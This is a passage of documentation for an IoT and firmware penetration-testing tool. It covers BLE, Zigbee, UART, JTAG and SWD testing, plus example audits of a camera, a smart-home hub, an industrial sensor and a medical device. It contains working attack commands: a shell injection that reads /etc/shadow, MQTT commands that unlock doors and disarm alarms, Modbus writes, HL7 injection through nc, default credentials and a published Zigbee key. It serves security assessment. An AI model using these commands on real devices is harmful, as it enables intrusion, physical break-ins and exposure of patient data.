Test Bluetooth Low Energy and Zigbee wireless protocols for authentication weaknesses, eavesdropping, and injection attacks.

# ═══ BLE (Bluetooth Low Energy) Testing ═════════════════════ # ── Device discovery ───────────────────────────────────────── # Scan for BLE devices (requires Bluetooth adapter) hcitool lescan # or with timeout: timeout 30 hcitool lescan # ── GATT service enumeration ──────────────────────────────── # Connect and list all services, characteristics, descriptors gatttool -b [BLE-MAC] --primary # List primary services gatttool -b [BLE-MAC] --characteristics # List characteristics gatttool -b [BLE-MAC] --char-desc # List descriptors # Interactive GATT exploration gatttool -b [BLE-MAC] -I > connect > primary # List services > characteristics # List characteristics > char-read-hnd 0x0003 # Read characteristic by handle > char-write-req 0x0010 01 # Write to characteristic # ── BLE pairing analysis ──────────────────────────────────── # Check pairing mode (Just Works = no authentication) # btmgmt tool to inspect pairing requirements btmgmt info # Attempt unauthenticated pairing bluetoothctl > scan on > pair [BLE-MAC] # ── BLE sniffing (requires Ubertooth or similar) ──────────── # Capture BLE advertisements ubertooth-btle -f -t [BLE-MAC] # ── BLE characteristic fuzzing ────────────────────────────── # Write random data to writable characteristics for handle in 0x0010 0x0012 0x0014 0x0016; do gatttool -b [BLE-MAC] --char-write-req \ --handle=$handle --value=$(openssl rand -hex 20) done # ═══ Zigbee Testing ═════════════════════════════════════════ # ── Zigbee network discovery (requires compatible radio) ──── # Using KillerBee framework with ApiMote or RZ Raven zbstumbler # Discover Zigbee networks zbdump -c 15 -w capture.pcap # Capture traffic on channel 15 # ── Key sniffing ───────────────────────────────────────────── # Capture network key during device join (if TC link key is default) zbwireshark -c 11 # Sniff channel and open in Wireshark # Default Trust Center link key (ZigBee HA): # 5A:69:67:42:65:65:41:6C:6C:69:61:6E:63:65:30:39 # ("ZigBeeAlliance09") # ── Zigbee replay attacks ─────────────────────────────────── # Replay captured packets zbreplay -c 15 -r capture.pcap # ── Z-Wave testing ────────────────────────────────────────── # Z-Wave uses different radio (908 MHz US / 868 MHz EU) # Requires HackRF or Z-Wave compatible SDR # Capture and replay Z-Wave frames for relay attacks
8

UART / JTAG / SWD Hardware Interface Testing

Access hardware debug interfaces to extract firmware, gain shell access, and test physical attack surface.

# ═══ UART (Serial Console) ═══════════════════════════════════ # ── Identify UART pins on the PCB ──────────────────────────── # Look for: 4-pin header (VCC, TX, RX, GND) or test pads # Use multimeter to identify: # GND → continuity to ground plane # VCC → 3.3V or 5V relative to GND # TX → fluctuating voltage when device boots (data output) # RX → steady voltage (data input) # ── Connect via USB-to-Serial adapter (FTDI, CP2102) ──────── # Cross-connect: adapter TX → device RX, adapter RX → device TX # IMPORTANT: Verify voltage levels match (3.3V vs 5V) # ── Determine baud rate ───────────────────────────────────── # Common baud rates: 9600, 19200, 38400, 57600, 115200 # Auto-detect with baudrate.py: python3 baudrate.py -p /dev/ttyUSB0 # Connect with known baud rate: screen /dev/ttyUSB0 115200 # or: minicom -D /dev/ttyUSB0 -b 115200 # ── Test for unauthenticated shell ────────────────────────── # Many devices drop to root shell on UART without authentication # Press Enter after connecting — look for shell prompt # Try: root/root, admin/admin, or just press Enter # ── Boot interrupt ─────────────────────────────────────────── # Press key during boot to access bootloader (U-Boot common) # Typical keys: Enter, Space, Esc, 1, any key # U-Boot prompt: allows firmware dump, environment variables, # boot argument modification, TFTP boot from attacker server # ═══ JTAG Testing ═══════════════════════════════════════════ # ── Identify JTAG pins ────────────────────────────────────── # Standard JTAG pins: TDI, TDO, TCK, TMS, TRST (optional) # Use JTAGulator or Bus Pirate to auto-detect pinout: # JTAGulator: connect all candidate pins, run IDCODE scan # ── Connect with OpenOCD ──────────────────────────────────── # Create OpenOCD config for target: openocd -f interface/ftdi/minimodule.cfg \ -f target/stm32f4x.cfg # ── Dump firmware via JTAG ────────────────────────────────── # Connect to OpenOCD telnet interface: telnet localhost 4444 > halt > flash banks # List flash memory banks > dump_image firmware.bin 0x08000000 0x100000 # Dump 1MB from base > resume # ── Debug with GDB via JTAG ───────────────────────────────── arm-none-eabi-gdb firmware.elf (gdb) target remote :3333 # Connect to OpenOCD GDB server (gdb) monitor halt (gdb) info registers (gdb) x/32x 0x20000000 # Examine SRAM contents # ═══ SWD (Serial Wire Debug — ARM) ═════════════════════════ # ── SWD is a 2-wire alternative to JTAG for ARM Cortex ────── # Pins: SWDIO (data), SWCLK (clock) # Uses same OpenOCD toolchain as JTAG # Connect via ST-Link or J-Link adapter: openocd -f interface/stlink.cfg \ -f target/stm32f1x.cfg \ -c "init; halt; flash read_image firmware.bin 0x08000000 0x20000; shutdown" # ── Check for SWD lock / readout protection ────────────────── # Some MCUs have readout protection (RDP) — check level: openocd -f interface/stlink.cfg -f target/stm32f4x.cfg \ -c "init; halt; stm32f4x options_read 0; shutdown" # RDP Level 0 = no protection (full read/write) # RDP Level 1 = protected (can be unlocked with full erase) # RDP Level 2 = permanent lock (cannot be bypassed)

💡 Always photograph the PCB and document pin locations before connecting. If uncertain about voltage levels, use a logic analyzer first to observe signal characteristics without risking damage to the device or adapter.

⏱️ Duration: 1 day for firmware-only static analysis. 2-3 days for full device assessment including hardware interfaces. 3-5 days for comprehensive IoT ecosystem assessment (firmware + live device + protocols + hardware + fleet).

Options Reference

Assessment Type

Option Description When to Use ─────────────────────────────────────────────────────────────────────────── Firmware Analysis Static analysis of firmware binary You have the .bin/.img file Live Device Testing Active testing of running device Device is powered on and accessible Protocol Audit Test IoT communication protocols Focus on MQTT/BLE/Zigbee/CoAP OT/SCADA Industrial control system assessment Modbus/DNP3/OPC-UA/BACnet targets IoT Fleet Scan Bulk scan of multiple devices Same device type across subnet

Protocol Selection (Multi-Select)

Protocol Layer Port/Channel PhantomYerra Tests ───────────────────────────────────────────────────────────────────────────────── MQTT Application 1883 / 8883 Auth bypass, topic enum, msg injection, retained msg poisoning, QoS abuse, TLS CoAP Application 5683 / 5684 Malformed options, block-wise abuse, observe flooding, proxy bypass, DTLS AMQP Application 5672 / 5671 Queue enum, auth bypass, msg injection, exchange manipulation, TLS validation BLE Link - GATT enum, pairing bypass, char fuzzing, sniffing, MITM, replay attacks Zigbee Network Ch 11-26 Key extraction, replay, network join exploitation, Trust Center bypass Z-Wave Network 908/868 MHz Frame capture, replay, S0/S2 downgrade, node impersonation LoRaWAN Network Various ABP vs OTAA, key extraction, replay, join-accept forgery, frame counter reset UART Physical - Baud detection, shell access, boot interrupt, credential extraction JTAG Physical - Pin identification, firmware dump, debug access, memory inspection SWD Physical - ARM debug, flash read, RDP bypass, breakpoint insertion I2C Physical - Bus sniffing, EEPROM read/write, sensor data extraction SPI Physical - Flash chip read, firmware extraction, bus interception Modbus TCP Industrial 502 Register read/write, function code scanning, coil manipulation Modbus RTU Industrial Serial Serial Modbus testing, address scan DNP3 Industrial 20000 Unsolicited response injection, auth bypass, cold restart OPC-UA Industrial 4840 Auth bypass, certificate validation, node browsing, method invocation BACnet Industrial 47808 Object enumeration, property read, write-property abuse EtherNet/IP Industrial 44818 Identity discovery, session hijack, CIP command injection PROFINET Industrial - DCP discovery, IO manipulation, name resolution abuse S7comm Industrial 102 PLC info, block listing, start/stop, password brute-force

Hardware Interface Options

Interface Adapter Required Settings ────────────────────────────────────────────────────────────────────────── USB-Serial FTDI FT232, CP2102, CH340 Baud rate, data bits, parity JTAG J-Link, ST-Link, Bus Pirate Target MCU, speed, voltage SWD ST-Link, J-Link, CMSIS-DAP Target MCU, speed I2C Bus Pirate, FTDI, logic probe Address scan range SPI Bus Pirate, FTDI Clock speed, mode (CPOL/CPHA) Bluetooth USB BT adapter (CSR8510) Scan mode, MAC filter Zigbee Radio ApiMote, Atmel RZ Raven Channel (11-26) SDR HackRF, RTL-SDR, YARD Stick Frequency, bandwidth

Firmware Format Support

Format Magic Bytes Auto-Detected Recursive Extract ────────────────────────────────────────────────────────────────────────── SquashFS hsqs / sqsh Yes Yes JFFS2 0x1985 Yes Yes UBI/UBIFS UBI# Yes Yes CramFS 0x28cd3d45 Yes Yes YAFFS2 - Yes Yes ext2/3/4 0x53EF Yes Yes FAT12/16/32 - Yes Yes CPIO 070701 / 070702 Yes Yes tar ustar Yes Yes gzip 1f 8b Yes Yes (nested) bzip2 BZ Yes Yes (nested) xz / lzma FD 37 7A 58 Yes Yes (nested) zstd 28 B5 2F FD Yes Yes (nested) U-Boot 27 05 19 56 Yes Header parse Android ANDROID! Yes boot/recovery Intel HEX :LLAAAATT Yes Convert to bin

Intensity Levels

Level Analysis Depth Duration ────────────────────────────────────────────────────────────────────────── Standard Filesystem extraction, credential mining, 30-60 min CVE matching, basic crypto check. Best for: quick assessment, known firmware. Deep Standard + binary decompilation of key 1-3 hours executables, protocol fuzzing, web UI testing, kernel analysis, full crypto audit. Best for: thorough assessment, unknown firmware. Exhaustive Deep + hardware interface testing, full 4-8 hours exploit chain development, privilege escalation attempts, comprehensive protocol testing across all detected interfaces. Best for: high-security devices, compliance.

Real-World Scenarios

Scenario 1: IP Camera Firmware Audit

Target: Consumer IP camera with web interface, RTSP stream, and cloud connectivity.
Goal: Find remote exploitation paths and data exposure risks.

Assessment Flow: ───────────────────────────────────────────────────────────────── 1. Upload firmware (camera_v2.4.1.bin, 16 MB, ARM Cortex-A) 2. Extraction reveals Linux 3.10, BusyBox 1.24.2, GoAhead 3.6.5 3. Credential mining discovers: /etc/passwd → root:x:0:0:root:/:/bin/sh (no password on root) /etc/shadow → admin:$1$abc$...:17000:0:99999:7::: /usr/bin/rtspd → hardcoded RTSP credentials: admin/admin123 /etc/cloud.conf→ API key for cloud registration endpoint 4. CVE matching: GoAhead 3.6.5 → CVE-2017-17562 (RCE via CGI, CVSS 10.0) BusyBox 1.24.2 → CVE-2017-16544 (shell escape) Linux 3.10 → CVE-2016-5195 (Dirty COW, local root) 5. Web UI testing: /cgi-bin/admin → Command injection in "ping" diagnostic: Input: 127.0.0.1; cat /etc/shadow Response: returns shadow file contents (CRITICAL) 6. Attack chain constructed: Unauthenticated GoAhead CGI RCE (CVE-2017-17562) → Remote shell as www-data → Dirty COW privilege escalation to root → Extract cloud API key → access cloud management API → RTSP stream accessible without authentication → Full device takeover + video surveillance access 7. Report includes: - 3 Critical, 2 High, 4 Medium findings - Complete attack chain with PoC commands - OWASP IoT Top 10 mapping (I1, I2, I3, I5 violated) - Remediation: upgrade GoAhead, set root password, remove hardcoded credentials, enable RTSP auth

Scenario 2: Smart Home Hub — BLE + MQTT Exploitation

Target: Smart home hub coordinating BLE sensors and MQTT-connected devices.
Goal: Test wireless protocol security and hub compromise impact.

Assessment Flow: ───────────────────────────────────────────────────────────────── 1. Firmware analysis of hub (32 MB, MIPS, OpenWrt-based) 2. BLE scanning discovers 14 paired sensors broadcasting 3. MQTT broker on port 1883 — no authentication required (CRITICAL) 4. MQTT exploitation: mosquitto_sub -h 192.168.1.50 -t "#" -v → Captures: temperature, door lock status, motion events, alarm codes, WiFi credentials in config topic mosquitto_pub -h 192.168.1.50 -t "home/lock/cmd" \ -m '{"action":"unlock"}' → Door lock opens without authentication (CRITICAL) mosquitto_pub -h 192.168.1.50 -t "home/alarm/cmd" \ -m '{"action":"disarm","code":"0000"}' → Alarm disarms — no code validation on MQTT interface 5. BLE sniffing with Ubertooth: Captured BLE advertisements contain sensor readings in plaintext — no encryption on BLE communication GATT characteristics writable without pairing 6. Default credential check: Hub web UI: admin/admin (default, never changed) SSH: root/root (dropbear running on port 22) 7. Attack chain: Unauthenticated MQTT → unlock doors + disarm alarm OR: BLE MITM → inject false sensor data → trigger/suppress alerts OR: Default SSH creds → root shell → pivot to home network Combined: full smart home takeover from WiFi range 8. Findings: 4 Critical, 3 High, 2 Medium - MQTT auth missing, BLE unencrypted, default credentials - OWASP IoT: I1, I2, I3, I4, I7 violated

Scenario 3: Industrial Sensor — Modbus TCP + Firmware CVE

Target: Industrial temperature/pressure sensor with Modbus TCP interface on OT network.
Goal: Assess OT protocol security and firmware vulnerabilities without disrupting operations.

Assessment Flow (Non-Disruptive Mode): ───────────────────────────────────────────────────────────────── 1. Network scan identifies sensor at 10.0.100.50:502 (Modbus TCP) Additional services: HTTP (80), Telnet (23), FTP (21) 2. Modbus TCP assessment (read-only first): # Read holding registers (non-disruptive) modbus_scanner -t 10.0.100.50 -f read_holding_registers \ -s 0 -c 100 → Device model, firmware version, serial number exposed → Sensor readings: temperature=73.2F, pressure=14.7psi 3. Firmware CVE matching from version string: Vendor: IndustrialCo, Model: TS-4200, FW: 3.1.7 → CVE-2023-XXXXX: Modbus write without authentication → CVE-2022-XXXXX: Buffer overflow in HTTP config page → CVE-2021-XXXXX: Hardcoded maintenance credentials 4. With safety coordinator approval (active testing): # Test Modbus write — non-critical register only modbus_scanner -t 10.0.100.50 -f write_single_register \ -a 100 -v 0 # Write to unused config register → Write succeeds without authentication (CRITICAL) → Any network user can modify sensor calibration 5. Web interface testing: Default credentials: admin/admin (works) Firmware upload page: no signature verification → Malicious firmware could be uploaded (CRITICAL) 6. Hardcoded credentials found in firmware: Maintenance account: maint/IndustrialCo2019! (Telnet + FTP) → Full device access, can modify PLC communication settings 7. Attack chain: Unauthenticated Modbus write → falsify sensor readings → PLC acts on false data → process control manipulation OR: Default web creds → upload malicious firmware → persistent OR: Hardcoded Telnet creds → modify Modbus slave config 8. Findings: 3 Critical, 2 High, 3 Medium - Non-disruptive proof: only read + write to unused register - IEC 62443 mapping included - Remediation: enable Modbus TCP auth, update firmware, disable Telnet/FTP, enforce HTTPS, remove hardcoded creds

Scenario 4: Medical Device — DICOM/HL7 + Firmware Signing Bypass

Target: Medical imaging workstation with DICOM and HL7 interfaces, handling PHI/ePHI.
Goal: Assess data exposure, protocol security, and firmware integrity for HIPAA compliance.

Assessment Flow: ───────────────────────────────────────────────────────────────── 1. Network reconnaissance (passive only, medical device): DICOM C-ECHO on port 104 → confirms DICOM SCP active HL7 listener on port 2575 → accepts connections Web management on port 443 → HTTPS with self-signed cert 2. DICOM protocol testing: # C-FIND — query for patient records findscu -v -S -k "0008,0052=PATIENT" \ -k "0010,0010=*" -k "0010,0020" \ [device-ip] 104 → Returns patient names and IDs without authentication → PHI exposed: 847 patient records queryable (CRITICAL) # C-MOVE — attempt to retrieve imaging studies movescu -v -S -k "0008,0052=STUDY" \ -k "0020,000D=[study-uid]" \ --port 11112 [device-ip] 104 → DICOM images transferable without access controls 3. HL7 protocol testing: # Send ADT message — patient admission echo -e "\x0bMSH|^~\\&|TEST|TEST|RECV|RECV|...\x1c\x0d" | \ nc [device-ip] 2575 → HL7 interface accepts messages without authentication → Patient data injection possible (CRITICAL) 4. Firmware signing analysis: Downloaded firmware update from vendor portal Inspected update package structure: → No digital signature on firmware binary → Only CRC32 integrity check (trivially bypassable) → Modified firmware + recalculated CRC32 → accepted → Unsigned firmware update = persistent compromise (CRITICAL) 5. PHI exposure audit: /var/dicom/images/ → unencrypted DICOM files on disk /var/log/hl7/ → HL7 messages logged in plaintext with PHI Database: MySQL with default root/empty password → All PHI accessible via SQL queries 6. Attack chain: Unauthenticated DICOM C-FIND → extract all patient records OR: HL7 injection → modify patient data → clinical impact OR: Unsigned firmware → persistent backdoor → ongoing PHI exfil Combined: complete medical data compromise 7. Findings: 5 Critical, 3 High, 4 Medium - HIPAA violation documentation included - FDA pre/post-market guidance mapping - Remediation: DICOM TLS + access controls, HL7 auth, firmware signing with PKI, disk encryption, DB hardening

Common Issues

Cause: The firmware may be encrypted, use a proprietary compression format, or have a non-standard header that prevents automatic detection of filesystem boundaries.

Solutions:

Try recursive mode: Navigate to Firmware → Extract Firmware → Recursive Mode. This performs deeper scanning with multiple extraction passes.
Check architecture: Use Firmware → Identify Architecture to verify the binary format. Some firmware images have a custom bootloader header that must be stripped (typically 64-256 bytes).
Manual hex inspection: Use the PhantomYerra hex editor to examine the first 512 bytes. Look for filesystem magic bytes: hsqs (SquashFS), UBI# (UBI), 0x1985 (JFFS2). Calculate the offset and extract manually: dd if=firmware.bin of=rootfs.squashfs bs=1 skip=OFFSET.
Encrypted firmware: Some vendors encrypt firmware updates. Check for a decryption key in the bootloader, EEPROM, or vendor documentation. Try strings on the existing device firmware (prior version) for the decryption key.
Proprietary format: Contact the vendor for the update tool specification, or reverse-engineer the update application to understand the packaging format.

Cause: Decompiling large binaries (10+ MB) requires significant memory and CPU. The default 15-minute timeout may not be sufficient for complex binaries.

Solutions:

Increase timeout: Navigate to Settings → Tools → Binary Analysis → Analysis Timeout. Set to 30-60 minutes for large binaries.
Prioritize targets: Instead of analyzing all binaries, focus on the highest-value targets: httpd/lighttpd/uhttpd (web server), telnetd/dropbear (remote access), custom application binaries (vendor-specific daemons), binaries with SUID bit set.
Increase resources: In Settings → Tools → Binary Analysis → CPU/Memory Allocation, increase the limits. Recommended: at least 4 GB RAM and 4 CPU cores for large firmware.
Batch processing: For very large firmware with hundreds of binaries, use the batch queue: add binaries to the analysis queue and let them process sequentially overnight.

Cause: Properly configured MQTT brokers require TLS (port 8883) and may require mutual TLS with client certificates.

Solutions:

Extract certs from firmware: Run the credential mining phase first. Client certificates and CA certificates are often stored in the firmware filesystem at /etc/ssl/, /etc/mosquitto/, or /usr/share/certs/.
Use extracted credentials: mosquitto_sub --cafile ca.crt --cert client.crt --key client.key -h [device-ip] -p 8883 -t "#" -v
Test certificate validation: Try connecting with a self-signed certificate to test if the broker validates the client certificate chain properly. Improper validation is a common finding.
Default credential check: Even with TLS, try default username/password combinations: admin/admin, mqtt/mqtt, device/device, guest/guest. PhantomYerra's MQTT credential list covers 200+ common IoT defaults.
Check for plaintext fallback: Some brokers accept both TLS (8883) and plaintext (1883) connections. Always test both ports.

Cause: Incorrect baud rate, wrong pin identification, voltage mismatch, or UART disabled in firmware.

Solutions:

Baud rate: Try all common baud rates: 9600, 19200, 38400, 57600, 115200, 230400, 460800, 921600. Use an auto-detection tool: python3 baudrate.py -p /dev/ttyUSB0. Garbled output usually means wrong baud rate.
Pin verification: Double-check TX and RX are not swapped. Adapter TX connects to device RX, and adapter RX connects to device TX. Use a logic analyzer to verify which pin is transmitting data during boot.
Voltage levels: Ensure your adapter matches the device voltage (3.3V is most common for modern devices; 5V for older ones). A 5V adapter on a 3.3V device can damage the device. Use a level shifter if voltages differ.
No output: The UART may be disabled in the firmware configuration. Check /etc/inittab in the extracted firmware for serial console entries. Some vendors disable UART in production builds — the test pads exist but are not connected in software.
Flow control: Try disabling hardware flow control (RTS/CTS). In minicom: Ctrl+A, O, Serial port setup, F (toggle Hardware Flow Control to No).

Cause: Device may not be advertising, Bluetooth adapter may need configuration, or pairing requires physical interaction with the device.

Solutions:

Adapter setup: Ensure your Bluetooth adapter is up and in LE scan mode: hciconfig hci0 up, then hcitool lescan. Some USB adapters need a firmware reload: btmgmt power off && btmgmt power on.
Advertising mode: The device may only advertise briefly after power-on or button press. Power cycle the target device and scan immediately. Some devices require pressing a "pairing" button first.
Distance and interference: BLE range is typically 10-30 meters. Move closer to the device. WiFi interference on the 2.4 GHz band can disrupt BLE — try testing in a less congested RF environment.
Pairing requirements: If the device requires Passkey or Out-of-Band pairing, you may need to observe the pairing exchange rather than initiate it. Use btmon to monitor HCI events during pairing and capture the key exchange.
Multiple adapters: Some attacks (MITM) require two Bluetooth adapters. Ensure both are configured with distinct HCI interfaces: hciconfig should show hci0 and hci1.

Full Disclosure

264 modules · 30+ surfaces · 14 vuln families · 120+ classes

The sections above describe what this surface tests. For the complete enumeration of every vulnerability class PhantomYerra covers across all surfaces — with scanner module names — see the Coverage Matrix.

View Full Coverage Matrix →

Prerequisites

Select Firmware / IoT from Home Screen

Upload Firmware Binary

Configure Device & Protocol Settings

Complete Mission Control Wizard

AI Engine Orchestrates 12-Phase Pipeline

What Claude AI Does During Firmware Analysis

Monitor the Scan Dashboard

Review Findings & Download Report

What Claude Tests (Firmware / IoT / Embedded / OT/ICS)

Prerequisites

Upload Firmware & Launch Wizard

Approve Each Phase Individually

Guide the Analysis Direction

Review & Finalize Report

Prerequisites

Firmware Extraction

Credential Mining

Binary Analysis

CVE Matching

Crypto Audit

MQTT Protocol Testing

BLE & Zigbee Testing

UART / JTAG / SWD Hardware Interface Testing

Options Reference

Assessment Type

Protocol Selection (Multi-Select)

Hardware Interface Options

Firmware Format Support

Intensity Levels

Real-World Scenarios

Scenario 1: IP Camera Firmware Audit

Scenario 2: Smart Home Hub — BLE + MQTT Exploitation

Scenario 3: Industrial Sensor — Modbus TCP + Firmware CVE

Scenario 4: Medical Device — DICOM/HL7 + Firmware Signing Bypass

Common Issues

Related Topics

264 modules · 30+ surfaces · 14 vuln families · 120+ classes